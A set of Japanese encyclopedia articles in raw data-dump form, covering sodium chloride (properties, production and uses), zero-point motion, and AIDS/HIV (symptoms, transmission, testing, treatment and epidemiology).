世界の食塩の生産量は2008年で2億650万トンと言われており、そのうち海水からの天日塩が約36%である。日本の工業塩の年間需要は約740万トンであり全量メキシコ、オーストラリアの天日塩を輸入している。日本ではかつて塩田で海水を濃縮して得ていたが、現代ではイオン交換膜を用いて工業生産している。 | [
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| 塩化ナトリウムは、化学式 NaCl で表されるナトリウムの塩化物である。単に塩(しお)、あるいは食塩と呼ばれる場合も多いが、本来「食塩」は食用や医療用に調製された塩化ナトリウム製品を指す用語である。式量58.44である。 人(生体)を含めた哺乳類をはじめとする地球上の大半の生物にとっては、必須ミネラルであるナトリウム源として、生命維持になくてはならない重要な物質である。 天然には岩塩として存在する。また、海水の主成分として世界に広く分布する塩でもある(約2.8%)。この他、塩湖や温泉(食塩泉)などにも含有されていることで知られる。 | {{Redirectlist|NaCl|[[島根県]][[松江市]]の企業|ネットワーク応用通信研究所|[[ウェブブラウザ]]上でネイティブコードを安全に実行する技術|Google Native Client|暗号化ライブラリ|NaCl (ソフトウェア)}}
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'''塩化ナトリウム'''(えんかナトリウム、{{lang-en-short|sodium chloride}})は、[[化学式]] '''NaCl''' で表される[[ナトリウム]]の[[塩化物]]である。単に[[塩]](しお)、あるいは食塩と呼ばれる場合も多いが、本来「食塩」は食用や医療用に調製された塩化ナトリウム製品を指す用語である。[[化学式量|式量]]58.44である。
[[ヒト|人]](生体)を含めた[[哺乳類]]をはじめとする[[地球]]上の大半の[[生物]]にとっては、必須[[ミネラル]]である[[ナトリウム]]源として、[[生命]]維持になくてはならない重要な物質である。
天然には[[岩塩]]として存在する。また、[[海水]]の主成分として世界に広く分布する{{読み仮名|[[塩 (化学)|塩]]|えん}}でもある(約2.8%)。この他、[[塩湖]]や温泉([[塩化物泉|食塩泉]])などにも含有されていることで知られる。
== 性質 ==
塩(えん)の中でも正塩(せいえん)の1種。結晶構造は[[結晶構造#主な結晶構造|塩化ナトリウム型構造]]で、塩化物イオンとナトリウムイオンから成る[[イオン結晶]]であり[[絶縁体]]である。常温、大気圧下で白色の[[固体]]。無臭だが、独特の[[塩味]]を持つ。純粋な塩化ナトリウムは20{{℃}}では湿度75%まで[[潮解]]性を示さない。
融点800.4{{℃}}。溶融するとナトリウムイオンと塩化物イオンに分離するため電気を通すようになる。溶融時には揮発性を持つ。
[[塩酸]]と[[水酸化ナトリウム]]の[[酸と塩基|中和]]によって得られ、水溶液は中性を示し[[電気伝導|伝導性]]を有する。
: <chem>HCl + NaOH -> NaCl + H2O</chem>
塩化ナトリウムの温度変化による[[溶解度]]の変化は非常に小さく、冷却による再結晶化では少量の結晶しか得られない。一般には、水([[溶媒]])を蒸発させて溶液の濃度を高めるか、[[塩化水素]]ガスを吹き込んで溶液中の塩化物イオン濃度を高めて結晶化させる方法がとられる(原理は記事 [[溶解度積]]を参照)。
== 資源 ==
海水中の塩化ナトリウムの存在量は膨大であるが、同じく膨大な量が存在する[[岩塩]]も利用されている。
世界の食塩の生産量は2008年で2億650万[[トン]]と言われており、そのうち海水からの天日塩が約36%である<ref name="kagaku">{{Cite book|和書|year=2009|month=2|title=15509の化学商品|publisher=化学工業日報社|isbn=978-4-87326-544-5}}</ref>。日本の工業塩の年間需要は約740万トンであり全量[[メキシコ]]、[[オーストラリア]]の天日塩を輸入している<ref name="kagaku"/>。[[日本]]ではかつて[[塩田]]で海水を濃縮して得ていたが、現代では[[イオン交換膜]]を用いて工業生産している。
== 用途 ==
* 主要化学原料である[[塩素]]、[[塩酸]]、[[水酸化ナトリウム]]の原料として工業的に大量に消費され、これらの製品を通じて間接的に様々な[[化学製品]]に利用されている。
*かつては[[ソルベイ法|ソルベー法]]により[[ガラス]]の原料である[[炭酸ナトリウム]]を工業的に製造する際の原料として用いられた。
* [[氷]](雪)に塩化ナトリウムを混ぜたものは、[[寒剤]]として利用される。氷と塩化ナトリウムを3:1の質量比で混ぜると温度が−21{{℃}}までになる。また、[[凝固点]]が下がることを利用し、空調・冷凍関係の[[塩水|ブライン]]として利用されることもある。
* 塩化ナトリウムは[[調味料]]の塩の主要な成分であり[[食品]]の調理・加工に利用される。ただし、摂取し過ぎると[[高血圧]]の要因となる<ref>{{Cite web|和書
| url = http://www.h.u-tokyo.ac.jp/research/topics/topics_archives/002.html
| archiveurl = https://web.archive.org/web/20130703092538/h.u-tokyo.ac.jp/research/topics/topics_archives/002.html
| title = 塩分の摂り過ぎによる血圧上昇の仕組み
| publisher = [[東京大学医学部附属病院]]
| work = 研究トピックス
| accessdate = 2013-8-15
| archivedate = 2013-7-3
| deadlinkdate = 2017年9月29日 }}</ref>。また、胃にも多大な負担を掛け、胃炎から[[胃癌]]を発生させる原因ともなり得る。
* 低融点の[[架橋|架橋剤]]を加え、流動性・防湿性を持たせたものは、[[ナトリウム|金属ナトリウム]]や[[カリウム]]、[[マグネシウム]]などの金属火災の[[消火|消火剤]]として用いられる。他の消火剤と見分けやすくするため、[[茶色|薄黒褐色]]に着色するよう定められている。
* [[小学校]]では溶解度の変化を見るために[[ホウ酸]]、[[ミョウバン]]と並ぶ有名な[[化学物質]]である。
* [[赤外線]]領域における[[プリズム]]、ウィンドウ、[[レンズ]]として利用される。
*ゴムの製造において、ブナ、[[ネオプレン]]、白ゴムタイプの製造には塩化ナトリウムを使用する。塩化ブタジエンを原料とする乳化ラテックスを凝固させる際には塩水と[[硫酸]]を使用する。
*高速道路を建設する際に地盤を固める目的で塩化ナトリウムを加えることがある。これにより、湿度や交通荷重の変化が引き起こす地表面のずれの影響を最小限にできる。
*塩化ナトリウムは吸湿性があるので、時に安くて安全な[[乾燥剤]]として使用されることもある。また、塩漬けは昔からの有効な食品保存方法で、浸透圧の影響でバクテリアから水分を奪い、増殖するのを防ぐ。
*硬水にはカルシウムイオンやマグネシウムイオンが含まれているが、これらは石鹸の作用を阻害し、産業用および家庭用の装置や[[配管]]にアルカリ[[ミネラル]]の沈殿物を形成する。[[業務用]]および家庭用軟水化装置にはイオン交換樹脂が使われており、硬度の元となる[[阻害]][[イオン]]を取り除くことができる。この[[イオン交換樹脂]]は塩化ナトリウムを用いて生成、再生されている。
== 出典 ==
{{脚注ヘルプ}}
{{Reflist}}
== 関連項目 ==
{{Commons&cat|NaCl|Sodium chloride}}
* [[食塩水]]
* [[塩分濃度]]
* [[高度好塩菌]]
* [[高ナトリウム血症]]
* [[低ナトリウム血症]]
{{ナトリウムの化合物}}
{{Normdaten}}
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6,804 | 零点振動 | 零点振動(れいてんしんどう、ゼロ点振動とも言う、Zero-point motion)は、原子が極限までエネルギーを失ったとしても、不確定性原理のために静止せずに振動していること。標準圧力下において、ヘリウムが絶対零度近傍でも固化しないのは、この零点振動が原因である。固体では格子振動が起こっている。 | [
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'''零点振動'''(れいてんしんどう、'''ゼロ点振動'''とも言う、Zero-point motion)は、[[原子]]が極限までエネルギーを失ったとしても、[[不確定性原理]]のために静止せずに振動していること。標準圧力下において、[[ヘリウム]]が絶対零度近傍でも[[凝固|固化]]しないのは、この零点振動が原因である。[[固体]]では[[格子振動]]が起こっている。
== 関連項目 ==
*[[物理学]]
*[[零点エネルギー]]
*[[超流動]]
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6,805 | 後天性免疫不全症候群 |
後天性免疫不全症候群(こうてんせいめんえきふぜんしょうこうぐん、英語: Acquired immune deficiency syndrome, AIDS(エイズ))は、ヒト免疫不全ウイルス(HIV)が免疫細胞に感染し、免疫細胞を破壊して後天的に免疫不全を起こす疾患。照屋勝治はエイズを慢性ウイルス血症による「全身性炎症性疾患」としている。性感染症の一つ。HIVに感染しただけでAIDSを発症するのではなく、HIVに感染した人が、免疫能の低下により23の合併症のいずれかを発症した状態のことをいう。
感染から2 - 4週で、無症候(症状がない)や、インフルエンザの様な症状などを起こしてから、5年から10年の症状のない潜伏期間に入る。後に風邪によく似た症状や、全身の脂漏性皮膚炎を呈し、その後、多くの感染症にかかるようになる。感染経路は、コンドームを用いない性行為のほか、注射器の打ち回しといった血液感染や、母子感染が主である。感染しているかの検査には血液検査が用いられる。
治療には抗HIV薬を用いたHAART療法が用いられる。1981年のアメリカ合衆国における初確認から1990年代半ばまでは治療法がなかったが、その後は服薬で体内のHIVを減らすことができるようになった。2021年時点、服薬は副作用があるうえ発症を抑えるため生涯続ける必要があるが、HIVを体内から完全になくすワクチンが研究途上であるほか、幹細胞移植などによる完治例が少数ながらある。一方で治療により、感染者の平均余命は非感染者とほぼ同水準まで延長されているとする研究も報告されている。
照屋勝治によると、エイズは単なる細胞免疫不全疾患ではなく、慢性ウイルス血症による「全身性炎症性疾患」としている。免疫力低下に伴い日和見感染を生じるほか、HIVへの感染自体が血管内皮障害の原因となり、脳血管疾患(脳梗塞、脳出血など)や心血管疾患(心筋梗塞など)のリスクを上昇させるとされる。
HIVの初期感染像はアメリカ疾病予防管理センター(CDC)分類では以下がある。いずれも感染後2 - 4週で起こるといわれ、多くの場合、数日 - 10週間程度で症状は軽くなり、長期の無症候性感染期に入るため、感染には気付きにくい。
上記以外にも、突然の全身性の斑状丘疹状の発疹(maculopapular rash)や、ウイルス量が急激に増加し重症化する例では、多発性神経炎、無菌性髄膜炎、脳炎症状などの急性症状を示す場合もある。しかしながら、これらの症状はHIV感染症特有のものではなく、他の感染症や疾病においても起こりうる症状であることから、症状だけで判断することは困難である。
感染後、数週間から1か月程度で抗体が産生され、ウイルス濃度は激減する。一般のHIV感染検査はこの産生される抗体の有無を検査するため、感染後数週間、人によっては1か月程度経過してからでないと十分な抗体が測定されないため、検査結果が陰性となる場合がある(ウインドウ期間)。
多くの人は急性感染期を過ぎて症状が軽快し、おおむね5年から10年は無症状であるが、体内でHIVが盛んに増殖を繰り返す。また、免疫担当細胞であるCD4陽性T細胞がそれに見合うだけ作られ、ウイルスがCD4陽性T細胞に感染し破壊するプロセスが繰り返されるため、見かけ上の血中ウイルス濃度が低く抑えられているという動的な平衡状態にある。無症候期を通じてCD4陽性T細胞数は徐々に減少していってしまう。無症候期にある感染者は無症候性キャリア(AC)とも呼ばれる。
またこの期間に、自己免疫性疾患に似た症状を呈することが多いことも報告されている。ほかにも帯状疱疹を繰り返し発症する場合も多い。
血液中のCD4陽性T細胞がある程度まで減少していくと、身体的に免疫力低下症状を呈するようになる。
多くの場合、最初は全身倦怠感、体重の急激な減少、慢性的な下痢、極度の過労、帯状疱疹、過呼吸、めまい、発疹、口内炎、発熱、喉炎症、咳など、風邪によく似た症状のエイズ関連症状を呈する。また、顔面から全身にかけての脂漏性皮膚炎などもこの時期に見られる。大抵これらの症状によって医療機関を訪れ、検査結果からHIV感染が判明してくる。
その後、免疫担当細胞であるCD4陽性T細胞の減少と同時に、普通の人間生活ではかからないような多くの日和見感染を生じ、ニューモシスチス肺炎やカポジ肉腫、悪性リンパ腫、皮膚がんなどの悪性腫瘍、サイトメガロウイルスによる身体の異常など、生命に危険が及ぶ症状を呈してくる。また、HIV感染細胞が中枢神経系組織へ浸潤し、脳の神経細胞が冒されるとHIV脳症と呼ばれ、精神障害や認知症、記憶喪失を引き起こすこともある。
通常、感染したと認められてから長期間経過したあとに、以下の23の疾患(AIDS指標疾患という)のいずれかを発症した場合にAIDS発症と判断される。
A.真菌症 1.カンジダ症(食道、気管、気管支、肺) 2.クリプトコッカス症(肺以外) 3.コクシジオイデス症 (1)全身に播種したもの (2)肺、頚部、肺門リンパ節以外の部位に起こったもの 4.ヒストプラズマ症 (1)全身に播種したもの (2)肺、頚部、肺門リンパ節以外の部位に起こったもの 5.ニューモシスティス肺炎(P. jiroveci)
B.原虫症 6.トキソプラズマ脳症(生後1か月以後) 7.クリプトスポリジウム症(1か月以上続く下痢を伴ったもの) 8.イソスポラ症(1か月以上続く下痢を伴ったもの)
C.細菌感染症 9.化膿性細菌感染症(13歳未満で、ヘモフィルス、連鎖球菌等の化膿性細菌により以下のいずれかが2年以内に、2つ以上多発あるいは繰り返して起こったもの) (1)敗血症 (2)肺炎 (3)髄膜炎 (4)骨関節炎 (5)中耳・皮膚粘膜以外の部位や深在臓器の膿瘍 10.サルモネラ菌血症(再発を繰り返すもので、チフス菌によるものを除く) 11.活動性結核(肺結核又は肺外結核) 12.非結核性抗酸菌症 (1)全身に播種したもの (2)肺、皮膚、頚部、肺門リンパ節以外の部位に起こったもの
D.ウイルス感染症 13.サイトメガロウイルス感染症(生後1か月以後で、肝、脾、リンパ節以外) 14.単純ヘルペスウイルス感染症 (1)1か月以上持続する粘膜、皮膚の潰瘍を呈するもの (2)生後1か月以後で気管支炎、肺炎、食道炎を併発するもの 15.進行性多巣性白質脳症
E.腫瘍 16.カポジ肉腫 17.原発性脳リンパ腫 18.非ホジキンリンパ腫 19.浸潤性子宮頚癌
F.その他 20.反復性肺炎 21.リンパ性間質性肺炎/肺リンパ過形成:LIP/PLH complex(13歳未満) 22.HIV脳症(認知症又は亜急性脳炎) 23.HIV消耗性症候群(全身衰弱又はスリム病)
;HIVによる免疫不全を示唆する所見がみられる者に限る。
—厚生労働省,感染症法に基づく医師の届出のお願い
HIVの初期症状は、発熱、リンパ節の腫れ、咽喉の痛み、だるさ、口内炎、発疹、慢性的な下痢、筋肉痛などであり、風邪やインフルエンザの症状と全く変わらず、症状から感染を判断することは難しい。また、潜伏期間が10年と長く感染に気付きにくい。よって、下記の感染の可能性のある行為の経験がある場合は、早めに保健所などでの検査を受けることが重要となる。
HIVは通常の環境では非常に弱いウイルスであり、一般に普通の社会生活をしている分には感染者と暮らしたとしてもまず感染することはない。一般に感染源となりうるだけのウイルスの濃度をもっている体液は血液、精液、膣分泌液、母乳が挙げられる。一般に感染しやすい部位としては粘膜(腸粘膜、膣粘膜、口腔粘膜など)、切創や刺創などの血管に達するような深い傷などがあり、通常の傷のない皮膚からは侵入することはない。そのため、主な感染経路は以下の3つに限られている。
性行為による感染では、性分泌液に接触することが最大の原因である。通常の性行為では、女性は精液が膣粘膜に直接接触し血液中にHIVが侵入することで感染する。男性は性交によって亀頭に目に見えない細かい傷ができ、そこに膣分泌液が直接接触し血液中にHIVが侵入する事で感染する。そのため、性交でなくても性器同士を擦り合わせるような行為でもHIV感染が起こる恐れがある。また肛門性交では腸粘膜に精液が接触しそこから感染するとされている。腸の粘膜は一層であるため薄く、HIVが侵入しやすいため、膣性交よりも感染リスクが高い。コンドームの着用がHIVの性的感染の予防措置として有効である。ただし使用中に破れたり、劣化したものを気付かずに使用する場合があるため、完全に感染を防ぐことができるとはいえない。コンドームの使用に際しては、信頼できる製品を使用期限内に正しい用法で用いることが推奨される。また割礼によって感染リスクが低減するという研究結果が複数ある。傷つきやすく、免疫関連細胞の多い包皮を切除することで、HIVの侵入・感染が抑えられるためだと考えられている。なお口腔で性器を愛撫する場合も、口腔内に歯磨きなどで微小な傷が生じていることが多く、そこに性分泌液が接触することで、血液中にウイルスが侵入するおそれがある。
感染者の血液が、傷、輸血、麻薬の回し打ちなどによって、血液中に侵入することで感染が成立する。特に麻薬・覚醒剤中毒者間の注射器・注射針の使い回しは感染率が際立って高い。以前は輸血や血液製剤からの感染があったが、現在では全ての血液が事前にHIV感染の有無を検査され、感染のリスクは非常に低くなっている。医療現場においては、針刺し事故などの医療事故による感染が懸念され、十分な注意が必要である。
母子感染の経路としては3つの経路がある。出産時の産道感染、母乳の授乳による感染、妊娠中に胎児が感染する経路である。産道感染は子供が産まれてくる際、産道出血による血液を子供が浴びることで起こる。感染を避ける方法として、帝王切開を行い母親の血液を付着させない方法があり、効果を上げている。母乳による感染が報告されており、HIVに感染した母親の母乳を与えることは危険とされている。この場合は子供に粉ミルクを与えることによって、感染を回避することができる。胎内感染は、胎盤を通じ子宮内で子供がHIVに感染することで起こる。物理的な遮断ができないため、感染を回避することが難しい。感染を避ける方法として、妊娠中に母親がHAART療法により血中のウイルス量を下げ、子供に感染する確率を減らす方法がとられている。
2018年現在、HIV感染を予防する方法・薬剤が存在する。一つは、医療従事者などが「針刺し事故」で感染の危険がある場合に、事後的に薬剤を投与する「曝露後予防内服(PEP、Post Exposure Prophylaxis)」であり、もう一つは、HIV感染リスクの高い業務に従事していたり(たとえば、コンドームを使用しないで性的サービスを行うソープランド従業員)、コンドームを用いないで不特定多数と性行為を行うライフスタイルを営む者に対して事前に薬剤を投与しておく「曝露前予防内服(PrEP、Pre Exposure Prophylaxis)」である。
曝露前予防内服(PrEP)は、ゲイやバイセクシュアルの男性において高い予防効果と安全性が報告されており、怠薬なく毎日の服用を続けることができれば、90パーセント以上の予防効果があると考えられている。
なお、曝露前予防内服(PrEP)も曝露後予防内服(PEP)も「ツルバダ(Truvada)」という商品名の抗HIV薬(テノホビル・エムトリシタビン合剤薬剤)を1日1回内服する方法が用いられる。
HIVはHIV感染症ないしAIDSとして知られる連続性を持つ疾患の病原体である。このウイルスはレトロウイルスの一種で、感染時にはまずCD4陽性細胞、マクロファージ、樹状細胞といったヒトの免疫系に携わる細胞に感染する。そして、直接的にも間接的にもCD4陽性細胞を破壊する。
HIVはレトロウイルス科レンチウイルス属の一員である。レンチウイルスは形態学的にも生物学的にも多数の共通点を持つ。レンチウイルスは多くの哺乳類に感染しており、長期の潜伏期(incubation period)を伴う長く続く疾患の原因となる。レンチウイルスはエンベロープを持つ、一本鎖のプラス鎖RNAウイルスである。標的細胞への侵入に際し、ウイルス粒子にゲノムと共に細胞内へ輸送される逆転写酵素によってウイルスRNAゲノムは二重鎖のDNAへと変換(逆転写)される。ウイルスDNAはさらに宿主の核内へ運ばれ、ウイルスのインテグラーゼと宿主の共因子の働きによって宿主DNAに取り込まれる。宿主DNAに取り込まれたウイルスは潜伏状態(latent)となり、ウイルスとその宿主細胞が免疫系に検知されるのを避ける。代わりにウイルスは転写を受けて新たなRNAゲノムとウイルスタンパク質を産生し、組み立てられたウイルス粒子が細胞外へ放出されて新たな増殖環を開始する。
HIVはCD4陽性細胞間を2つの方法で拡散することが知られる。1つが細胞フリーな拡散法で、もう1つが細胞 - 細胞拡散法であり、HIVはハイブリッドな拡散法を利用する。細胞フリーな拡散においてはウイルス粒子が感染細胞T細胞から出芽し、血液や細胞外液へ進出、遭遇したほかのT細胞へ感染する。HIVはまた細胞から細胞へ、細胞 - 細胞拡散によっても広がっていく。ハイブリッドなHIVの拡散機構は抗レトロウイルス療法時におけるウイルスの増殖進行を可能にする。
HIVには2つの型が知られる。HIV-1とHIV-2である。HIV-1は最初に発見された(そして当初はLAV、もしくはHILV-IIIとも呼ばれた)ウイルスである。HIV-1はより病原性(virulence)と感染性が高く、世界的に見てHIV感染症の主要な病原体となっている。HIV-1と比べたHIV-2の感染性の低さは、HIV-2の曝露時に感染が成立する確率が低いことを暗示する。相対的な感染能力の低さゆえ、HIV-2はほとんど西アフリカに限って存在している。
厚生労働省は、HIV感染症であり、かつ、指標疾患(Indicator Disease)の1つ以上が明らかに認められる場合にAIDSと診断し、感染症法に基づく届出が必要、としている。
HIV感染症の診断では、血液中に抗体を有することを検査する。日本での検査方法は、日本エイズ学会による「HIV-1/2 感染症の診断ガイドライン」が広く用いられている。
HIVに感染しているかどうかの検査は居住地に関係なく全国の保健所で匿名・無料で受けることができる。都市部の保健所では、夜間や休日にも検査を行っているところがあり、仕事や学業に影響を与えず検査できる体制を整えつつある。また、医療機関でも実費負担で検査を受けられるところがある。
結果はおよそ1週間ほどで判明するが、近年は30分以内で判明する即日検査も普及し始めている。通常は抗体スクリーニング検査が行われるが、より感度が高くウインドウ期間の短いNAT検査(詳細は後述)を実施している保健所や医療機関もある。
血液を採取して以下の検査が行われる。
献血で採取された血液からHIVやその他のウイルスの感染の有無を調べるため、日本赤十字社による献血では現在、抗体検査やNAT検査が行われている。
抗HIV薬について、基本的に多剤併用療法(Highly Active Anti-Retroviral Therapy:HAART療法)にて治療が行われる。ただ、完治・治癒に至ることは現在でも困難であるため、抗ウイルス薬治療は開始すれば一生継続する必要がある。
一方、患者の平均余命は新薬の開発などにより改善されている。ブリストル大学の研究チームによると、2008年以降の早期に抗レトロウイルス薬治療(ART)を始めた20歳患者の平均余命は78歳であり、非感染者とほぼ同水準まで延長されていた。
また、HAART療法は2000年初頭までは1年間に1万ドル以上が必要であったが、インドやタイ、ブラジルなどで安価なジェネリック薬が生産されるようになり、さらに世界最大のエイズ患者を抱える南アフリカ共和国がこうした薬を輸入できるよう定めた改正薬事法を1997年に施行し、これに対し提訴した製薬会社が2001年に和解に応じたことでエイズ治療薬価格が大幅に低下した。2001年末にはHAART療法に必要な薬価は年間350ドルに低下し、エイズ治療は貧困層にも手の届くものとなった。
一般に、アメリカ合衆国保健福祉省(US DHHS)の治療ガイドラインが世界的に広く用いられている。おもなガイドラインには以下が存在する(ほぼ、毎年のように改訂)。
アメリカ合衆国保健福祉省(US DHHS)の治療ガイドラインでは以下とされている。
日本の最新のガイドラインでは、すべてのHIV感染患者に対して抗HIV薬の開始が推奨されるようになっていて、特に、
場合には、早期の治療開始がより強く推奨されている。ただし、CD4数が500/μLより多いと身体障害者手帳を取得できない場合があり、医療費助成制度を使えない可能性もあるので、事前に十分に確認する必要がある。
現在、以下のような種類のHIVに対する抗ウイルス薬が存在する。
基本的に、世界的に広く感染している「HIV-1」に対する治療についておもに記述する。「HIV-2」に関しては同じような治療であるが、NNRTIは効果が薄いなどの違いがある。
「アメリカ合衆国保健福祉省(US DHHS)の治療ガイドライン」における推奨レジメンは以下の通りである。
日本の「HIV感染症治療研究会によるHIV感染症治療の手引き」における推奨レジメンは以下の通りである。キードラッグ(NNRTI or PI)とバックボーンドラッグ(2-NRTI)から1つずつ選択し併用する。
+
免疫機能障害ということで都道府県に申請することにより身体障害者手帳が交付される。
免疫不全の患者は、感染量に比べると炎症は実は軽度であり、日和見感染症治療中にHAART療法を開始すると免疫が賦活化することによって、日和見感染症が悪化することがある。これを「免疫再構築症候群(IRIS、アイリス)」と呼ぶ。この危険を避けるため、HAART療法は日和見感染症治療後に開始することとなる。
HAART療法は、安定期まで持っていくことができれば、ほとんどAIDSで死亡することはなくなった。ガイドラインで用いられているデータも、10年生存率まで記載されており、おそらく平均余命まで行くであろうというのが、大方の予想である(HIVの発見が1981年ということを考えると、ここまでデータがあれば十分である)。また、前述のように2017年に公表された欧州と北米の調査の分析結果では、2008年以降に20歳でウイルス量が少ないうちに抗レトロウイルス薬治療(ART)を開始した場合の平均余命は非感染者とほぼ同水準だった。
現在のHIV療法である多剤併用療法は決して根治的な療法ではなく、血中のウイルス量が検出限界以下となっても、依然としてリンパ節や中枢神経系などにウイルスが駆逐されずに残存(Latent Reservoir)していることが知られており、服薬を中止するとただちにウイルスのリバウンドが起こるなどの問題がある。基本的にHAART療法は、一生継続しなければならない。
有名な副作用としては、開始直後から出現し徐々に軽快する胃腸障害や精神障害、開始後1 - 3週で一過性に生じる皮疹、開始後1か月以上経過してから生じ、持続する高脂血症、リポアトロフィー(脂肪分布の変化)、糖代謝異常(高脂血症と併せて年間30パーセントリスクで虚血性心疾患のリスクが高まる、かつ、PIとNNRTIはスタチン系と併用禁忌)、末梢神経障害、まれだが重篤な乳酸アシドーシス(NRTIにてミトコンドリアDNA合成を阻害するため)などが知られている。
世界的にAIDSは急性経過をとって致死に至るより、むしろ慢性化する感染症である。予後には個人差があり、CD4陽性細胞数とウイルス量の測定が経過の予測に有用である。無治療の場合、HIVの亜型によってHIV感染後の平均生存期間は9年から11年と見積もられる。さらにAIDSと診断されてなお治療がなされない場合、生存期間は6か月から19か月の間となる。HAART療法と適切な日和見感染症の予防が行われると死亡率は最大80パーセント減少し、余命は新規に診断された若い成人で20年から50年に延長される。この数値は健常者の余命と比べても3分の2からほぼ同等の水準である。治療開始が遅れると予後はそれほどよくない。たとえばAIDSの診断後に治療を開始すると、余命は最大で10年から40年となる。HIVの感染とともに産まれた新生児に関しては、無治療の場合その半分が2歳までに死亡する。
AIDSの直接的な死因は日和見感染症やがんであり、いずれも多くの場合、進行性の免疫不全の結果として生じる。がんのリスクはCD4陽性細胞数が500 /μLを下回ると増加するようである。臨床症状の進行速度は個人差が大きく、患者の感受性や免疫機能、保健施設の利用度、共感染の有無、特定のウイルス株への感染といった要素に影響を受けることが示されている。
結核の共感染はAIDS患者における病態進行と死の主要な原因の一つで、HIV感染者の3分の1が結核で死に、25パーセントのHIV関連死の原因となっている。またHIV自体も結核のもっとも重要な危険因子の一つである。C型肝炎も一般的な共感染症であり、HIVとC型肝炎ウイルスは互いの増悪因子である。AIDS関連のがんでもっとも一般的なのはカポジ肉腫と非ホジキンリンパ腫である。
抗レトロウイルス療法を行っても、HIV感染者は長期的に神経認知障害、骨粗鬆症、神経病、がん、腎臓疾患、および心血管疾患などを経験する可能性がある。場合によっては、リポジストロフィーがHIVとその治療によって引き起こされることがある。
2022年末現在、世界のHIV陽性者数は3,900万人、新規HIV感染者数は年間130万人、エイズによる死亡者数は年間63万人となっている。
サハラ以南のアフリカには全世界の65パーセント近くのHIV陽性者がいるといわれる。2022年末においては全世界のHIV陽性者数は3,900万人のうち、アフリカ(東部、西部、南部、中央アフリカ)が2,560万人を占める。同年のHIV新規感染者は全世界で130万人、うちアフリカが66万人である。同年のエイズ死亡者は全世界で63万人で、うちアフリカは38万人である。
このうち中東圏に属する北アフリカではAIDS患者がほとんどいないため、この数値のほとんどはブラックアフリカにおける数値である。中でも患者数が多いのは南部アフリカであり、南アフリカ共和国、ナミビア、ボツワナ、スワジランド、レソト、ジンバブエ、ザンビアの7か国では人口の15パーセント以上が感染している。もっとも人口に対する感染率が高いのはボツワナであり、2001年末においては成人人口の38.8パーセントがHIVに感染している。この影響により、上図のように南部アフリカ諸国においては1990年代以降AIDSによる死者の急増によって平均寿命が低下し、ボツワナは20歳以上平均寿命が短縮した。
1986年にはウガンダが感染率5パーセントを超えていたものの、それ以外に感染率5パーセントを超えるような国はなく、感染者数の多い国もほぼアフリカ中部に限られていた。しかしその後、感染者数は増加の一途をたどり、南部アフリカに向かって徐々にパンデミックは広がっていった。1991年にはウガンダ、ザンビア、ジンバブエで感染率が20パーセントを超え、1996年にはボツワナ、スワジランド、レソトで20パーセントを超え、2001年には上記の状況となったように、感染は急速に拡大していった。
アフリカにおける感染拡大は、他地域と異なり異性間の性行為によるものが圧倒的に多い。これは性的な寛容さや女性の地位の低さなどによると考えられている。同様の理由で、他地域とは異なりアフリカのエイズ患者は女性の方が男性よりも多くなっている。また、AIDSに対する知識の低さや迷信、貧困や戦争による影響も感染拡大の一因とされている。現在では治療薬によって病状を食い止めることは可能になっているものの、アフリカの多くの国においては貧困のためそれらの治療薬を入手することができない患者が多い。AIDSによる死者は働き盛りの男女が多いため、死亡率が急速に上昇した国々においては労働人口の減少を招き、経済に悪影響を招いている。さらに、親がエイズによって死亡した子供たちは孤児となり、エイズ孤児と呼ばれる社会問題となっている。エイズにかかっている親がミルクを購入できず母乳で幼児を育てざるを得ないため、母乳による母子感染の率も非常に高い。この母子感染による乳児死亡率の激増も、ブラックアフリカ諸国における平均寿命低下の大きな一因となっている。
このエイズ禍に対して、アフリカ諸国の政府の多くは有効な手を打つことができなかった。アフリカ諸国の多くは統治力が弱く保健衛生の制度もあまり整っていなかったうえ、パンデミック初期においてはエイズ治療薬の価格が非常に高く、増え続ける患者に行きわたるだけの治療薬を入手することが不可能だったためである。こうした中で、もっとも早くエイズ対策に取り組んだのはウガンダである。ウガンダは世界で初めてHIVのパンデミックが起こった国家であるが、その後政府はエイズ予防のためのさまざまな政策を実施し、こうしたプログラムが功を奏して感染率は減少した。また、ボツワナのように患者に対するケアの体制を整えられた国も存在する。ボツワナは2001年末においては成人人口の38.8パーセントがHIVに感染しており、世界でもっともHIV感染率の高い国であったが、同年からボツワナ政府はエイズに対する強力な対抗プログラムを実施し始めた。2001年からはアフリカではじめてエイズ治療が公的資金によって行われるようになり、2003年には一般の健康診断にエイズ検査が盛り込まれるようになるなど、早期発見および治療に重点が置かれた。またこれと並行し、エイズ予防の啓発プログラムも強力に推進された。こうした政策によってボツワナのエイズ死亡率は減少し、感染率も2008年には23.9パーセントにまで減少した。また、2001年にエイズ治療薬の薬価が急激に低下したこともあり、このころからアフリカ各国においてエイズ対策が本格化し始め、新規感染者は徐々に減少の方向に向かい始め、一度は急減した平均寿命もこれにともない回復の傾向を見せている。しかし一度感染したエイズ患者は完治することはないため、HIV感染者の総数はそれほど減っておらず、依然として相対的に高い感染率となっている。
1985年、初めてAIDS患者が確認され、1989年2月17日、「後天性免疫不全症候群の予防に関する法律」が施行。当初は大半が凝固因子製剤による感染症例(薬害エイズ事件)だった。
2022年の新規HIV感染者報告数・新規AIDS患者報告数は、前年の報告数より減少しており、6年連続での減少となった。 日本人患者・感染者の現状は、同性間性的接触による感染が多く、ついで異性間性行為による感染が続いている。静注薬物乱用や母子感染によるものは少ない。
HIVの起源はカメルーンのチンパンジーという説が有力であり、そこから人に感染して世界中に広まっていったと考えられている。1981年にアメリカのロサンゼルスに住む同性愛男性(ゲイ)に初めて発見され、症例報告された。ただし、これはエイズと正式に認定できる初めての例で、疑わしき症例は1950年代から報告されており、「やせ病(slimming disease)」という疾患群が中部アフリカ各地で報告されていた。1981年の症例報告後、わずか10年程度で感染者は世界中に100万人にまで広がっていった。
当初、アメリカでエイズが広がり始めたころ、原因不明の死の病に対する恐怖感に加えて、感染者にゲイや麻薬の常習者が多かったことから、感染者に対して社会的な偏見が持たれたことがあった。現在は病原体としてHIVが同定され、異性間性行為による感染や出産時の母子感染も起こり得ることが知られるようになり、広く一般的な問題として受け止められている。 | [
